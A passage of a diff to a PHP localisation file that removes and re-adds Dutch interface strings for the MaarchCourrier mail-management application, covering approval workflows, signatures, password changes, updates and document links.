(!defined('_SECURITY_MESSAGE_DETAILS')) { define('_SECURITY_MESSAGE_DETAILS', 'Verzoek van XSS type niet toegestaan');} -if (!defined('_CHOOSE_ENTITY_SUBENTITIES')) { define('_CHOOSE_ENTITY_SUBENTITIES', 'Kies een eenheid (+ subeenhe(i)d(en))');} -if (!defined('_TAG_ADMIN')) { define('_TAG_ADMIN', 'Beheer van de .strtolower(_TAG_DEFAULT)');} -if (!defined('_REFERENCE_MAIL')) { define('_REFERENCE_MAIL', 'Referentie brief verzender');} -if (!defined('_OTHERS_INFORMATIONS')) { define('_OTHERS_INFORMATIONS', 'Andere informatie (ondertekenaars, instructies enz...)');} -if (!defined('_ALL_HISTORY')) { define('_ALL_HISTORY', 'Volledige geschiedenis');} -if (!defined('_DESCRIPTION')) { define('_DESCRIPTION', 'Beschrijving');} -if (!defined('_MOVE_CONTACT_ADDRESS')) { define('_MOVE_CONTACT_ADDRESS', 'Verplaatsing van het adres naar een ander contact');} -if (!defined('_INFO_MOVE_CONTACT_ADDRESS')) { define('_INFO_MOVE_CONTACT_ADDRESS', 'Dit gedeelte wordt gebruikt indien u het adres naar een nieuw contact verplaatst. De documenten (indien er zijn) worden aan ditzelfde adres gekoppeld.');} -if (!defined('_MOVE')) { define('_MOVE', 'Verplaatsen');} -if (!defined('_DELETE_CONTACT_ADDRESS')) { define('_DELETE_CONTACT_ADDRESS', 'Het adres verwijderen');} -if (!defined('_REALLY_MOVE')) { define('_REALLY_MOVE', 'Wilt u echt verplaatsen');} -if (!defined('_ADDRESS_MOVED')) { define('_ADDRESS_MOVED', 'Adres verplaatst');} -if (!defined('_SAVE_MODIFICATION')) { define('_SAVE_MODIFICATION', 'De wijzigingen bewaren');} -if (!defined('_CONFIDENTIALITY')) { define('_CONFIDENTIALITY', 'Vertrouwelijk');} -if (!defined('_CONFIDENTIAL')) { define('_CONFIDENTIAL', 'Vertrouwelijk');} -if (!defined('_CONFIDENTIAL_DOCUMENTS')) { define('_CONFIDENTIAL_DOCUMENTS', 'Vertrouwelijke brief (ven)');} -if (!defined('_SIGNATORY_NAME')) { define('_SIGNATORY_NAME', 'Naam van de ondertekenaar');} -if (!defined('_SIGNATORY_GROUP')) { define('_SIGNATORY_GROUP', 'Groep van de ondertekenaar');} -if (!defined('_FORMAT_PHONE')) { define('_FORMAT_PHONE', 'Indeling: 06 01 02 03 04');} -if (!defined('_SIGNATURE')) { define('_SIGNATURE', 'Handtekening');} -if (!defined('_SEND_MAIL')) { define('_SEND_MAIL', 'Verzending van de map per e-mail');} -if (!defined('_IMPRIM_DOSSIER')) { define('_IMPRIM_DOSSIER', 'Map afdrukken');} -if (!defined('_PROCEED_WORKFLOW')) { define('_PROCEED_WORKFLOW', 'Het goedkeuringscircuit verderzetten');} -if (!defined('_PROCEED_WORKFLOW_DESC')) { define('_PROCEED_WORKFLOW_DESC', 'Werkt de datum bij van de huidige goedkeurder / ondertekenaar die in het goedkeuringscircuit van het brief aanwezig is (process_date van de tabel listinstance).');} -if (!defined('_INTERRUPT_WORKFLOW')) { define('_INTERRUPT_WORKFLOW', 'Het goedkeuringscircuit onderbreken');} -if (!defined('_INTERRUPT_WORKFLOW_DESC')) { define('_INTERRUPT_WORKFLOW_DESC', 'Werkt de datum bij van de huidige goedkeurder / ondertekenaar en van alle volgende goedkeurders die in het goedkeuringscircuit van het brief aanwezig zijn (process_date van de tabel listinstance). Voegt eveneens een onderbrekingsbericht op de huidige goedkeurder in (process_comment van de tabel listinstance).');} -if (!defined('_RESET_VISA_WORKFLOW')) { define('_RESET_VISA_WORKFLOW', 'Goedkeuring weigeren - terug naar opsteller');} -if (!defined('_RESET_VISA_WORKFLOW_DESC')) { define('_RESET_VISA_WORKFLOW_DESC', 'Reset de datum van alle huidige goedkeurders die in het goedkeuringscircuit van het brief aanwezig zijn (process_date van de tabel listinstance).');} -if (!defined('_REJECTION_WORKFLOW_PREVIOUS')) { define('_REJECTION_WORKFLOW_PREVIOUS', 'De goedkeuring weigeren - terug naar de vorige goedkeurder');} -if (!defined('_REJECTION_WORKFLOW_PREVIOUS_DESC')) { define('_REJECTION_WORKFLOW_PREVIOUS_DESC', 'Reset de datum van de vorige goedkeurder die in het goedkeuringscircuit van het brief aanwezig is (process_date van de tabel listinstance).');} -if (!defined('_VISA_MAIL')) { define('_VISA_MAIL', 'De e-mail goedkeuren');} -if (!defined('_PREPARE_VISA')) { define('_PREPARE_VISA', 'Het goedkeuringscircuit voorbereiden');} -if (!defined('_SEND_TO_VISA')) { define('_SEND_TO_VISA', 'Versturen voor goedkeuring');} -if (!defined('_SEND_TO_VISA_DESC')) { define('_SEND_TO_VISA_DESC', 'Controleert of er een goedkeuringscircuit is geconfigureerd EN of er één of meerdere antwoordprojecten aan het brief gekoppeld zijn.');} -if (!defined('_MAIL_WILL_DISAPPEAR')) { define('_MAIL_WILL_DISAPPEAR', 'Deze brief gaat uw perimeter te buiten. U zal er daarna geen toegang meer tot kunnen hebben.');} -if (!defined('_IVS_LENGTH_ID_BELOW_MIN_LENGTH')) { define('_IVS_LENGTH_ID_BELOW_MIN_LENGTH', 'De lengte is korter dan de minimumlengte');} -if (!defined('_IVS_LENGTH_EXCEEDS_MAX_LENGTH')) { define('_IVS_LENGTH_EXCEEDS_MAX_LENGTH', 'De lengte is langer dan de maximumlengte');} -if (!defined('_IVS_LENGTH_NOT_ALLOWED')) { define('_IVS_LENGTH_NOT_ALLOWED', 'De lengte is niet toegelaten');} -if (!defined('_IVS_VALUE_NOT_ALLOWED')) { define('_IVS_VALUE_NOT_ALLOWED', 'De waarde is niet toegelaten');} -if (!defined('_IVS_FORMAT_NOT_ALLOWED')) { define('_IVS_FORMAT_NOT_ALLOWED', 'Het formaat is niet toegelaten');} -if (!defined('_IVS_TOO_MANY_DIGITS')) { define('_IVS_TOO_MANY_DIGITS', 'Teveel tekens');} -if (!defined('_IVS_TOO_MANY_DECIMAL_DIGITS')) { define('_IVS_TOO_MANY_DECIMAL_DIGITS', 'Teveel decimale tekens');} -if (!defined('_COMPONENT')) { define('_COMPONENT', 'Component');} -if (!defined('_MARK_AS_READ')) { define('_MARK_AS_READ', 'Markeren als gelezen');} -if (!defined('_MARK_AS_READ_DESC')) { define('_MARK_AS_READ_DESC', 'Markeert het document als gelezen in het bakje. Voegt het gegeven van de res_mark_as_read in de tabel in (nuttig indien gebruikt in de bakjes clauses)');} -if (!defined('_USE_PREVIOUS_ADDRESS')) { define('_USE_PREVIOUS_ADDRESS', 'Een adres hergebruiken');} -if (!defined('_SEARCH_INDICATION')) { define('_SEARCH_INDICATION', 'geeft aan dat er gezocht wordt in de brieven en de bijlagen');} -if (!defined('_CONNECTION_CAS_OK')) { define('_CONNECTION_CAS_OK', 'CAS authenticatie OK');} -if (!defined('_CAS_SAML_NOT_SUPPORTED')) { define('_CAS_SAML_NOT_SUPPORTED', 'Het SAML 1.1 protocol wordt nog niet beheerd.');} -if (!defined('_PROTOCOL_NOT_SUPPORTED')) { define('_PROTOCOL_NOT_SUPPORTED', 'Er wordt geen rekening gehouden met dit CAS protocol.');} -if (!defined('_USER_NOT_EXIST')) { define('_USER_NOT_EXIST', 'Deze gebruiker bestaat niet in de applicatie.');} -if (!defined('_VISIBLE_BY')) { define('_VISIBLE_BY', 'Zichtbaar door');} -if (!defined('_FINAL_DISPOSITION')) { define('_FINAL_DISPOSITION', 'Uiteindelijke lot');} -if (!defined('_CHOOSE_FINAL_DISPOSITION')) { define('_CHOOSE_FINAL_DISPOSITION', 'Keuze van het uiteindelijke lot');} -if (!defined('_DESTROY')) { define('_DESTROY', 'Vernietiging');} -if (!defined('_KEEP')) { define('_KEEP', 'Bewaring');} -if (!defined('_RETENTION_RULE')) { define('_RETENTION_RULE', 'Bewaringsregel');} -if (!defined('_DURATION_CURRENT_USE')) { define('_DURATION_CURRENT_USE', 'Gewoonlijke nutsduur');} -if (!defined('_UNSELECT_ALL')) { define('_UNSELECT_ALL', 'Selectie volledig ongedaan maken');} -if (!defined('_ARCHIVE_TRANSFER_COLL')) { define('_ARCHIVE_TRANSFER_COLL', 'Archivering');} -if (!defined('_UNREACHABLE_DOCSERVER')) { define('_UNREACHABLE_DOCSERVER', 'Pad docserver onbereikbaar');} -if (!defined('_MANAGE_MY_SIGNATURES')) { define('_MANAGE_MY_SIGNATURES', 'Mijn handtekeningen beheren');} -if (!defined('_MY_GROUPS')) { define('_MY_GROUPS', 'Mijn Groepen');} -if (!defined('_SECONDARY_GROUP')) { define('_SECONDARY_GROUP', 'Secundaire groep');} -if (!defined('_MY_ENTITIES')) { define('_MY_ENTITIES', 'Mijn Eenheden');} -if (!defined('_PRIMARY_ENTITY')) { define('_PRIMARY_ENTITY', 'Primaire eenheid');} -if (!defined('_SECONDARY_ENTITY')) { define('_SECONDARY_ENTITY', 'Secundaire eenheid');} -if (!defined('_MY_INFORMATIONS')) { define('_MY_INFORMATIONS', 'Mijn informatie');} -if (!defined('_DIGITAL_FINGERPRINT')) { define('_DIGITAL_FINGERPRINT', 'Digitale afdruk');} -if (!defined('_UPDATE_PSW')) { define('_UPDATE_PSW', 'Uw wachtwoord wijzigen');} -if (!defined('_CURRENT_PSW')) { define('_CURRENT_PSW', 'Huidig wachtwoord');} -if (!defined('_NEW_PSW')) { define('_NEW_PSW', 'Nieuw wachtwoord');} -if (!defined('_UPDATED_PROFILE')) { define('_UPDATED_PROFILE', 'Uw profiel werd wel degelijk gewijzigd');} -if (!defined('_WRONG_PSW')) { define('_WRONG_PSW', 'Het huidige wachtwoord is niet correct');} -if (!defined('_EMPTY_PSW_FORM')) { define('_EMPTY_PSW_FORM', 'Het formulier van het wachtwoord is onvolledig');} -if (!defined('_UPDATED_PASSWORD')) { define('_UPDATED_PASSWORD', 'Uw wachtwoord werd wel degelijk gewijzigd');} -if (!defined('_SB_SIGNATURES')) { define('_SB_SIGNATURES', 'Handtekeningen van de parafeerder');} -if (!defined('_NEW_SIGNATURE')) { define('_NEW_SIGNATURE', 'Nieuwe handtekening toegevoegd');} -if (!defined('_UPDATED_SIGNATURE')) { define('_UPDATED_SIGNATURE', 'Gewijzigde handtekening');} -if (!defined('_DELETED_SIGNATURE')) { define('_DELETED_SIGNATURE', 'Verwijderde handtekening');} -if (!defined('_DEFINE_NEW_SIGNATURE')) { define('_DEFINE_NEW_SIGNATURE', 'Nieuwe handtekening');} -if (!defined('_SIGNATURE_LABEL')) { define('_SIGNATURE_LABEL', 'Label van de handtekening');} -if (!defined('_UPDATE_SIGNATURE')) { define('_UPDATE_SIGNATURE', 'De handtekening wijzigen');} -if (!defined('_DELETE_SIGNATURE')) { define('_DELETE_SIGNATURE', 'De handtekening verwijderen');} -if (!defined('_CLICK_ON')) { define('_CLICK_ON', 'Klik op');} -if (!defined('_TO_ADD_SIGNATURE')) { define('_TO_ADD_SIGNATURE', 'om een handtekening toe te voegen');} -if (!defined('_TO_UPDATE_SIGNATURE')) { define('_TO_UPDATE_SIGNATURE', 'om de gedownloade handtekening te wijzigen');} -if (!defined('_EMAIL_SIGNATURES')) { define('_EMAIL_SIGNATURES', 'Mailhandtekeningen');} -if (!defined('_EMPTY_EMAIL_SIGNATURE_FORM')) { define('_EMPTY_EMAIL_SIGNATURE_FORM', 'Het formulier van de handtekening is onvolledig');} -if (!defined('_NEW_EMAIL_SIGNATURE')) { define('_NEW_EMAIL_SIGNATURE', 'Nieuwe mailhandtekening toegevoegd');} -if (!defined('_UPDATED_EMAIL_SIGNATURE')) { define('_UPDATED_EMAIL_SIGNATURE', 'Mailhandtekening gewijzigd');} -if (!defined('_DELETED_EMAIL_SIGNATURE')) { define('_DELETED_EMAIL_SIGNATURE', 'Mailhandtekening verwijderd');} -if (!defined('_UNDEFINED_USER')) { define('_UNDEFINED_USER', 'Niet geregistreerde gebruiker');} -if (!defined('_CHOOSE_BASKET_TO_REDIRECT')) { define('_CHOOSE_BASKET_TO_REDIRECT', 'Kies een bakje');} -if (!defined('_ACTIVATE_MY_ABSENCE')) { define('_ACTIVATE_MY_ABSENCE', 'Mijn afwezigheid inschakelen');} -if (!defined('_AUTO_LOGOUT_AFTER_BASKETS_REDIRECTIONS')) { define('_AUTO_LOGOUT_AFTER_BASKETS_REDIRECTIONS', 'Nadat u uw bakjesomleidingen heeft bepaald, zal uw verbinding automatisch verbroken worden.');} -if (!defined('_ADMIN_USER_MODIFICATION')) { define('_ADMIN_USER_MODIFICATION', 'Wijziging van de gebruiker');} -if (!defined('_ADDED_GROUP')) { define('_ADDED_GROUP', 'Toegevoegde groep');} -if (!defined('_UPDATED_GROUP')) { define('_UPDATED_GROUP', 'Gewijzigde groep');} -if (!defined('_DELETED_GROUP')) { define('_DELETED_GROUP', 'Verwijderde groep');} -if (!defined('_ADDED_ENTITY')) { define('_ADDED_ENTITY', 'Toegevoegde eenheid ');} -if (!defined('_UPDATED_ENTITY')) { define('_UPDATED_ENTITY', 'Gewijzigde eenheid');} -if (!defined('_DELETED_ENTITY')) { define('_DELETED_ENTITY', 'Verwijderde eenheid');} -if (!defined('_MANAGE_SIGNATURES')) { define('_MANAGE_SIGNATURES', 'De handtekeningen beheren');} -if (!defined('_MANAGE_ABSENCES')) { define('_MANAGE_ABSENCES', 'De afwezigheden beheren');} -if (!defined('_REINITIALIZE_PASSWORD')) { define('_REINITIALIZE_PASSWORD', 'Wachtwoord opnieuw instellen');} -if (!defined('_RESET_PASSWORD')) { define('_RESET_PASSWORD', 'Wachtwoord opnieuw ingesteld');} -if (!defined('_ACTIVATE_ABSENCE')) { define('_ACTIVATE_ABSENCE', 'De afwezigheid inschakelen');} -if (!defined('_DEACTIVATE_ABSENCE')) { define('_DEACTIVATE_ABSENCE', 'De afwezigheid uitschakelen');} -if (!defined('_ABSENCE_ACTIVATED')) { define('_ABSENCE_ACTIVATED', 'De gebruiker wordt nu als afwezig beschouwd');} -if (!defined('_ABSENCE_DEACTIVATED')) { define('_ABSENCE_DEACTIVATED', 'De gebruiker wordt nu als actief beschouwd');} -if (!defined('_ABS')) { define('_ABS', 'Afwezig');} -if (!defined('_ACTIVE')) { define('_ACTIVE', 'Actief');} -if (!defined('_INACTIVE')) { define('_INACTIVE', 'Niet actief');} -if (!defined('_ADDED_PRIORITY')) { define('_ADDED_PRIORITY', 'Toegevoegde prioriteit');} -if (!defined('_UPDATED_PRIORITY')) { define('_UPDATED_PRIORITY', 'Gewijzigde prioriteit');} -if (!defined('_DELETED_PRIORITY')) { define('_DELETED_PRIORITY', 'Verwijderde prioriteit');} -if (!defined('_FOR_USER')) { define('_FOR_USER', 'voor de gebruiker');} -if (!defined('_BY_USER')) { define('_BY_USER', 'door de gebruiker');} -if (!defined('_ADDED_USER')) { define('_ADDED_USER', 'heeft de gebruiker toegevoegd');} -if (!defined('_REMOVED_USER')) { define('_REMOVED_USER', 'heeft de gebruiker verwijderd');} -if (!defined('_FROM_GROUP')) { define('_FROM_GROUP', 'van de groep');} -if (!defined('_FROM_ENTITY')) { define('_FROM_ENTITY', 'van de eenheid');} -if (!defined('_IN_GROUP')) { define('_IN_GROUP', 'aan de groep');} -if (!defined('_IN_ENTITY')) { define('_IN_ENTITY', 'aan de eenheid');} -if (!defined('_ADMIN_UPDATE_CONTROL')) { define('_ADMIN_UPDATE_CONTROL', 'Controle van de bijwerking');} -if (!defined('_YOUR_VERSION')) { define('_YOUR_VERSION', 'Uw huidige versie');} -if (!defined('_AVAILABLE_VERSION_TO_UPDATE')) { define('_AVAILABLE_VERSION_TO_UPDATE', 'Beschikbare versies');} -if (!defined('_CLICK_HERE_TO_GO_TO_UPDATE_MANAGEMENT')) { define('_CLICK_HERE_TO_GO_TO_UPDATE_MANAGEMENT', 'De updateprocedure starten');} -if (!defined('_NEW_MAJOR_VERSION_AVAILABLE')) { define('_NEW_MAJOR_VERSION_AVAILABLE', 'Nieuwe belangrijke versie(s) beschikbaar');} -if (!defined('_BRANCH_VERSION')) { define('_BRANCH_VERSION', 'Tak');} -if (!defined('_TAG_VERSION')) { define('_TAG_VERSION', 'Tag');} -if (!defined('_CONNECT_YOU_IN_SUPERADMIN')) { define('_CONNECT_YOU_IN_SUPERADMIN', 'U moet als superadmin verbonden zijn om tot de updateprocedure toegang te hebben');} -if (!defined('_UPDATE_WELCOME')) { define('_UPDATE_WELCOME', 'Update');} -if (!defined('_UPDATE_WELCOME_INSTALL')) { define('_UPDATE_WELCOME_INSTALL', 'Updateprocedure');} -if (!defined('_UPDATE_DESC_INSTALL')) { define('_UPDATE_DESC_INSTALL', 'Updateprocedure van MaarchCourrier (enkel kleinere versies)');} -if (!defined('_UPDATE_BACKUP')) { define('_UPDATE_BACKUP', 'Back-up');} -if (!defined('_UPDATE_BACKUP_INFOS')) { define('_UPDATE_BACKUP_INFOS', 'Back-up van uw huidige versie');} -if (!defined('_UPDATE_BACKUP_DETAILS')) { define('_UPDATE_BACKUP_DETAILS', 'Back-upprocedure van uw huidige versie om deze te kunnen herstellen indien nodig.');} -if (!defined('_ACTUAL_VERSION_PATH')) { define('_ACTUAL_VERSION_PATH', 'Pad van uw installatie');} -if (!defined('_UPDATE_BACKUP_PATH')) { define('_UPDATE_BACKUP_PATH', 'Pad van uw back-up');} -if (!defined('_BACKUP_ACTUAL_VERSION')) { define('_BACKUP_ACTUAL_VERSION', 'Uw versie opslaan');} -if (!defined('_UPDATE_DOWNLOAD')) { define('_UPDATE_DOWNLOAD', 'Download');} -if (!defined('_LAST_RELEASE_INFOS')) { define('_LAST_RELEASE_INFOS', 'Downloaden van de laatste kleinere versie');} -if (!defined('_LAST_RELEASE_DETAILS')) { define('_LAST_RELEASE_DETAILS', 'Details van kleinere versies beschikbaar');} -if (!defined('_CHOOSE_VERSION_TO_UPDATE')) { define('_CHOOSE_VERSION_TO_UPDATE', 'Kies de nieuwe versie');} -if (!defined('_DOWNLOAD_VERSION')) { define('_DOWNLOAD_VERSION', 'De versie downloaden');} -if (!defined('_UPDATE_DEPLOY')) { define('_UPDATE_DEPLOY', 'Unzippen');} -if (!defined('_UPDATE_DEPLOY_INFOS')) { define('_UPDATE_DEPLOY_INFOS', 'Unzippen van de gedownloade versie');} -if (!defined('_UPDATE_DEPLOY_DETAILS')) { define('_UPDATE_DEPLOY_DETAILS', 'Unzippen van de gedownloade versie');} -if (!defined('_DEPLOY_VERSION')) { define('_DEPLOY_VERSION', 'De versie unzippen');} -if (!defined('_UPDATE_END')) { define('_UPDATE_END', 'Update geslaagd');} -if (!defined('_UPDATE_DESC_END')) { define('_UPDATE_DESC_END', 'Update geslaagd');} -if (!defined('_NO_AVAILABLE_TAG_TO_UPDATE')) { define('_NO_AVAILABLE_TAG_TO_UPDATE', 'Geen versie beschikbaar voor update');} -if (!defined('_PARAM_VALUE_IS_EMPTY')) { define('_PARAM_VALUE_IS_EMPTY', 'De waarde van de instelling is leeg');} -if (!defined('_INVALID_PARAM_DATE')) { define('_INVALID_PARAM_DATE', 'Instelling ongeldige datum');} -if (!defined('_INVALID_INTEGER')) { define('_INVALID_INTEGER', 'Geheel is ongeldig');} -if (!defined('_INVALID_STRING')) { define('_INVALID_STRING', 'Ongeldige karakterreeks');} -if (!defined('_INVALID_DESCRIPTION')) { define('_INVALID_DESCRIPTION', 'Ongeldige beschrijving');} -if (!defined('_INVALID_ID')) { define('_INVALID_ID', 'Gebruikersnaam ongeldig');} -if (!defined('_INVALID')) { define('_INVALID', 'is niet geldig');} -if (!defined('_STATUS_UPDATED')) { define('_STATUS_UPDATED', 'Bijgewerkt statuut');} -if (!defined('_SAVED_CHANGE')) { define('_SAVED_CHANGE', 'Wijziging bewaard');} -if (!defined('_DOC_CREATED')) { define('_DOC_CREATED', 'Document aangemaakt');} -if (!defined('_SAVE_POSITION')) { define('_SAVE_POSITION', 'Bewaren');} -if (!defined('_REF_SEARCH')) { define('_REF_SEARCH', 'Referentiedocument doorzoeken');} -if (!defined('_USE_REF')) { define('_USE_REF', 'Het nationale referentiedocument gebruiken');} -if (!defined('_WARNING_REF')) { define('_WARNING_REF', '<b>Bestanden van het referentiedocument ontbreken!</b><br/>Om het nationale referentiedocument te gebruiken, contacteer uw <a href=mailto:.$_SESSION[config][adminmail].>administrator</a>');} -if (!defined('_ERROR')) { define('_ERROR', 'Fout');} -if (!defined('_IMG_SIZE_NOT_ALLOWED')) { define('_IMG_SIZE_NOT_ALLOWED', 'Afbeeldingsgrootte te klein');} -if (!defined('_SELECT_IMG_FIRST')) { define('_SELECT_IMG_FIRST', 'Geen bestand geladen');} -if (!defined('_IMG_UPLOADED')) { define('_IMG_UPLOADED', 'Afbeelding geladen');} -if (!defined('_IMG_ALREADY_UPLOADED')) { define('_IMG_ALREADY_UPLOADED', 'Afbeelding reeds geladen');} -if (!defined('_FILE_FORMAT_NOT_ALLOWED')) { define('_FILE_FORMAT_NOT_ALLOWED', 'Afbeeldingsformaat niet toegestaan');} -if (!defined('_REDIRECTION_DESC')) { define('_REDIRECTION_DESC', 'Opent een venster waarmee een nieuwe verwerkende gebruiker gekozen kan worden OF de verwerkende eenheid met een nieuwe distributielijst opnieuw ingesteld kan worden.');} -if (!defined('_SEARCH_SCOPE_HELP')) { define('_SEARCH_SCOPE_HELP', 'De perimeter komt overeen met de brieven die zichtbaar zijn door mijn groep of in mijn bakjes');} -if (!defined('_DEPARTMENTS_LIST_SHORT')) { define('_DEPARTMENTS_LIST_SHORT', 'Lijst van de eenheden');} -if (!defined('_NOTES')) { define('_NOTES', 'Opmerkingen');} -if (!defined('_USER_ACCESS_DEPARTMENT')) { define('_USER_ACCESS_DEPARTMENT', 'De gebruiker heeft toegang tot de volgende eenheden');} -if (!defined('_KEYWORD_REDIRECT_DESC')) { define('_KEYWORD_REDIRECT_DESC', 'Om de beschikbare opties op de actie vanuit het bakje te bepalen, met name de eenheden en/of de gebruikers die voor de omleiding beschikbaar zijn.');} -if (!defined('_KEYWORD_INDEXING_DESC')) { define('_KEYWORD_INDEXING_DESC', 'Om de beschikbare opties op de actie vanuit het bakje te bepalen met name de beschikbare verwerkende diensten en/of mogelijke status(sen) voor een documentregistratie / -wijziging');} -if (!defined('_ACCOUNT_LOCKED_FOR')) { define('_ACCOUNT_LOCKED_FOR', 'Aantal verbindingspogingen overschreden. Uw account wordt vergrendeld voor');} -if (!defined('_ACCOUNT_LOCKED_UNTIL')) { define('_ACCOUNT_LOCKED_UNTIL', 'Aantal verbindingspogingen overschreden. Account vergrendeld tot');} -if (!defined('_UNDEFINED_DATA')) { define('_UNDEFINED_DATA', 'Niet bepaald');} -if (!defined('_ADD_ATTACHMENT_OR_NOTE')) { define('_ADD_ATTACHMENT_OR_NOTE', 'Voeg een bijlage of een opmerking toe voor deze brief/brieven');} -if (!defined('_DEPARTMENT_DEST')) { define('_DEPARTMENT_DEST', 'Behandelende eenheid');} -if (!defined('_DEPARTMENT_EXP')) { define('_DEPARTMENT_EXP', 'Opstellende eenheid');} -if (!defined('_PROCESS_NOTES')) { define('_PROCESS_NOTES', 'Verwerkingsopmerkingen');} -if (!defined('_CHOOSE_ENTITES_SEARCH_TITLE')) { define('_CHOOSE_ENTITES_SEARCH_TITLE', 'Voeg de gewenste eenheid (eenheden) toe om de opzoeking in te perken');} -if (!defined('_DESTINATION_SEARCH')) { define('_DESTINATION_SEARCH', 'Getroffen eenheid (eenheden)');} -if (!defined('_MULTI_FIELD_HELP')) { define('_MULTI_FIELD_HELP', 'Onderwerp, Num GED, Num chrono, verwerkingsopmerkingen');} -if (!defined('_CONTACT_ID')) { define('_CONTACT_ID', 'Contact ID');} -if (!defined('_UPDATE_CONTACTS')) { define('_UPDATE_CONTACTS', 'Contacten bijwerken');} -if (!defined('_VIEW_CONTACTS_GROUPS_DESC')) { define('_VIEW_CONTACTS_GROUPS_DESC', 'Contactgroeperingen gebruikt voor de indexering van een brief');} -if (!defined('_VIEW_CONTACTS_GROUPS')) { define('_VIEW_CONTACTS_GROUPS', 'Contactgroeperingen');} -if (!defined('_CONTACTS_GROUP')) { define('_CONTACTS_GROUP', 'Contactgroepering');} -if (!defined('_MORAL_CONTACT')) { define('_MORAL_CONTACT', 'Moreel contact');} -if (!defined('_NOTES_1')) { define('_NOTES_1', 'Opmerkingen dienst 1');} -if (!defined('_NOTES_2')) { define('_NOTES_2', 'Opmerkingen dienst 2');} -if (!defined('_NOTES_3')) { define('_NOTES_3', 'Opmerkingen dienst 3');} -if (!defined('_INITIATOR')) { define('_INITIATOR', 'Initiatiefnemende eenheid');} -if (!defined('_INITIATORS')) { define('_INITIATORS', 'Initiatiefnemende eenheid (eenheden)');} -if (!defined('_DEPARTMENT_OWNER')) { define('_DEPARTMENT_OWNER', 'Eenheid die eigenaar is');} -if (!defined('_PRINT_FREE_NOTES')) { define('_PRINT_FREE_NOTES', 'VRIJE OPMERKINGEN');} -if (!defined('_PRINT_FURTHER_INFORMATIONS')) { define('_PRINT_FURTHER_INFORMATIONS', 'BIJKOMENDE INFORMATIE');} -if (!defined('_PRINT_NOTES')) { define('_PRINT_NOTES', 'OPMERKINGEN');} -if (!defined('_PRINT_PROCESS_ENTITY')) { define('_PRINT_PROCESS_ENTITY', 'BEHANDELENDE EENHEID');} -if (!defined('_PRINT_PRIVATE_NOTE')) { define('_PRINT_PRIVATE_NOTE', 'Privé-opmerking');} -if (!defined('_TAG_ADMIN')) { define('_TAG_ADMIN', 'Beheer van de sleutelwoorden');} -if (!defined('_REDIRECT_WORKFLOW_ENTITY')) { define('_REDIRECT_WORKFLOW_ENTITY', 'Omleiden naar de initiatiefnemende eenheid');} -if (!defined('_REDIRECT_WORKFLOW_ENTITY_DESC')) { define('_REDIRECT_WORKFLOW_ENTITY_DESC', 'Stuurt het document terug naar de initiatiefnemende eenheid van het brief zonder het huidige goedkeuringscircuit te wijzigen.');} -if (!defined('_SIMPLE_CONFIRM_WITH_UPDATE_DATE')) { define('_SIMPLE_CONFIRM_WITH_UPDATE_DATE', 'Bevestiging en bijwerking van de vertrekdatum');} -if (!defined('_BARCODE')) { define('_BARCODE', 'Barcode');} -if (!defined('_CHOOSE_DEPARTMENT_NUMBER')) { define('_CHOOSE_DEPARTMENT_NUMBER', 'Kies het betrokken departement');} -if (!defined('_DEPARTMENT_NUMBER')) { define('_DEPARTMENT_NUMBER', 'Betrokken departement');} -if (!defined('_CHRONO_NUMBER_HELP')) { define('_CHRONO_NUMBER_HELP', 'Voorbeeld: MAARCH/2018A/36');} -if (!defined('_BARCODE_HELP')) { define('_BARCODE_HELP', 'Voorbeeld: ABC000004');} -if (!defined('_PROCESS_IN_PROGRESS')) { define('_PROCESS_IN_PROGRESS', 'Verwerking bezig');} -if (!defined('_CONTACTS_FILLING')) { define('_CONTACTS_FILLING', 'Volledigheid van de contactinformatie');} -if (!defined('_PROCESSED_BY')) { define('_PROCESSED_BY', 'Verwerkt door');} -if (!defined('_REDACTOR')) { define('_REDACTOR', 'Opsteller');} -if (!defined('_ASSIGNEE')) { define('_ASSIGNEE', 'Toegekende persoon');} -if (!defined('_CONTACTS_USERS_LIST')) { define('_CONTACTS_USERS_LIST', 'Directory contacten / gebruikers');} -if (!defined('_ENTITIES_LIST')) { define('_ENTITIES_LIST', 'Directory eenheden');} -if (!defined('_CONTACTS_USERS_SEARCH')) { define('_CONTACTS_USERS_SEARCH', 'Contacts / users / entities search');} // _TO_TRANSLATE -if (!defined('_CONTACTS_USERS_GROUPS_SEARCH')) { define('_CONTACTS_USERS_GROUPS_SEARCH', 'Een contact / gebruiker / contactgroepering zoeken');} -if (!defined('_USER_MAARCH_PARAPHEUR')) { define('_USER_MAARCH_PARAPHEUR', 'Maarch vloeiboek gebruiker');} -if (!defined('_DOCUMENT_WITH_NOTES')) { define('_DOCUMENT_WITH_NOTES', 'Document met opmerkingen');} -if (!defined('_USE_MODEL_MAILING')) { define('_USE_MODEL_MAILING', 'Gebruik een registratiesjabloon');} +if (!defined('_ADD_LINKS')) { + define('_ADD_LINKS', 'Verbindingen toevoegen'); +} +if (!defined('_DEL_LINK')) { + define('_DEL_LINK', 'De verbinding verwijderen'); +} +if (!defined('_POWERED_BY')) { + define('_POWERED_BY', 'Powered by Maarch™.'); +} +if (!defined('_LINK_TO_DOC')) { + define('_LINK_TO_DOC', 'Verbinden met een brief'); +} +if (!defined('_LINK_REFERENCE')) { + define('_LINK_REFERENCE', 'Om te verbinden moet u een bestaand brief kiezen'); +} +if (!defined('_LINKED_TO')) { + define('_LINKED_TO', 'Verbonden met het document'); +} +if (!defined('_NOW_LINK_WITH_THIS_ONE')) { + define('_NOW_LINK_WITH_THIS_ONE', 'is nu met dit brief verbonden'); +} +if (!defined('_ARE_NOW_LINK_WITH_THIS_ONE')) { + define('_ARE_NOW_LINK_WITH_THIS_ONE', 'zijn nu met dit brief verbonden'); +} +if (!defined('_ARE_NOW_LINK_WITH_MANY_DOCUMENTS')) { + define('_ARE_NOW_LINK_WITH_MANY_DOCUMENTS', 'is met meerdere brieven verbonden'); +} +if (!defined('_LINK_TAB')) { + define('_LINK_TAB', 'Verbindingen'); +} +if (!defined('_LINK_DESC_FOR')) { + define('_LINK_DESC_FOR', 'Aan dit brief verbonden document(en)'); +} +if (!defined('_LINK_ASC_FOR')) { + define('_LINK_ASC_FOR', 'Document(en) waaraan dit brief is verbonden'); +} +if (!defined('_ADD_A_LINK')) { + define('_ADD_A_LINK', 'Een verbinding toevoegen'); +} +if (!defined('_LINK_ACTION')) { + define('_LINK_ACTION', 'Verbinden'); +} +if (!defined('_LINK_ALREADY_EXISTS')) { + define('_LINK_ALREADY_EXISTS', 'Deze verbinding bestaat al'); +} +if (!defined('_THE_DOCUMENT_LINK')) { + define('_THE_DOCUMENT_LINK', 'Het brief'); +} +if (!defined('_THE_DOCUMENTS_LINK')) { + 